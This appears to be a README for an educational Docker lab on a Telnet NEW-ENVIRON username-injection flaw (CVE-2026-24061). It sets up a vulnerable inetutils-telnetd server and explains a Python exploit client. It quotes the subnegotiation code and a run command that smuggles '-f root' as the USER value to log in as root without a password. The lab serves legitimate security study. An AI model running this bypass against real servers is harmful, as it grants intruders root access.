
Educational Docker lab demonstrating Telnet NEW-ENVIRON username injection (CVE-2026-24061) with a Python client and vulnerable server for isolated security research.
A lightweight Docker lab for experimenting with Telnet protocol negotiation, explained in the CVE-2026-24061 exploit, which contains automatic username injection using the NEW-ENVIRON option.
This project creates an isolated client–server environment to study how Telnet handles environment-based authentication bypass.
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Client | | Telnet |
| Python | | Server |
+---------+ +---------+
| Container | Role |
|---|---|
| node1 | Python client with auto-login script |
| node2 | Telnet server (inetutils-telnetd 2.7) |
Both services run inside a private Docker bridge network, named labnet.
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
This file is responsible for the installation of the client container, named node1.
I chose python:3.12-slim as the base image, since the purpose of this lab is network communication, only. We only install the telnet client itself, and copy the exploit.py to the root folder of the container.
The file is responsible for the installation of the server container, named node2.
The same base image applies for this container, too. The installation process however, involves more steps:
wget, to get the vulnerable version of telnetd.apt get install -y/etc/inetd.conf enables the telnet service.At the top of the file, we see a few constants declared:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
IAC, with the value of 255 means, Interpret As Command, so it marks the beginning of the Telnet control sequence.
You can inspect even further options here
The format usually looks like:
IAC <command> <option>
At the script, there is the following part:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
This if checks, that if the currently received data from the server contains the IAC value, we need to interpret it as a command.
We go through the received data, using a while loop. We check for each byte, if it is a IAC.
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
If it is, we assign a cmd and opt variable a corresponding byte of the data stream.
If the opt value equals with the value of NEW_ENVIRON the script runs the send_new_environ_user method.
Let's examine the following code part:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
The SB AND SE are part of Telnet protocol's constants. SB stands for 'Subnegotiation begin', while SE stands for 'Subnegoation end'. Anything between these two values are settings, related to one specific command, sent to the server. In this case, we want to send a message, using the rfc1572 standard, in detail here.
We can loosely translate the byte sequence to english, like:
- Interpret this as a command (IAC)
- It is (0)
- A new environment variable (NEW_ENVIRON)
- The value of this new environment variable is (b"USER" + bytes([ENV_VALUE]) + username.encode())
- End the subconnection (IAC + SE)
However, there are cases, when the targeted Telnet server does not support environmental variables, related to usernames. In this case, we fallback to send the username in the traditional way.
Verify installation:
docker --version
docker compose version
docker compose up --build -d
Check status:
docker ps
You should see:
node1node2docker exec -it node1 bash
Set a username, and run the script:
USER="-f root" python exploit.py node2
The script will:
node2 on port 23USER=-f root using NEW-ENVIRONlabnet| Hostname | Service |
|---|---|
| node1 | Client |
| node2 | Telnet server |
The client script:
IAC, DO, WILL, which are fundamental Telnet protocol commands used for option negotiation between a client and server.NEW-ENVIRON requestsUSER=<value of $USER>
login: or username: prompts as a fallbackStop the environment:
docker compose down
If you also want to remove containers and images:
docker compose down --rmi all
Telnet transmits data in plaintext and is not secure. This project is intended only for educational, purposes within isolated environments.
Connection refused
Ensure containers are running:
docker ps
Script exits with USER error
USER="-f root" python exploit.py node2
Rebuild after changes
docker compose up --build
This repository is provided for educational and research use. Contributions and improvements are welcome.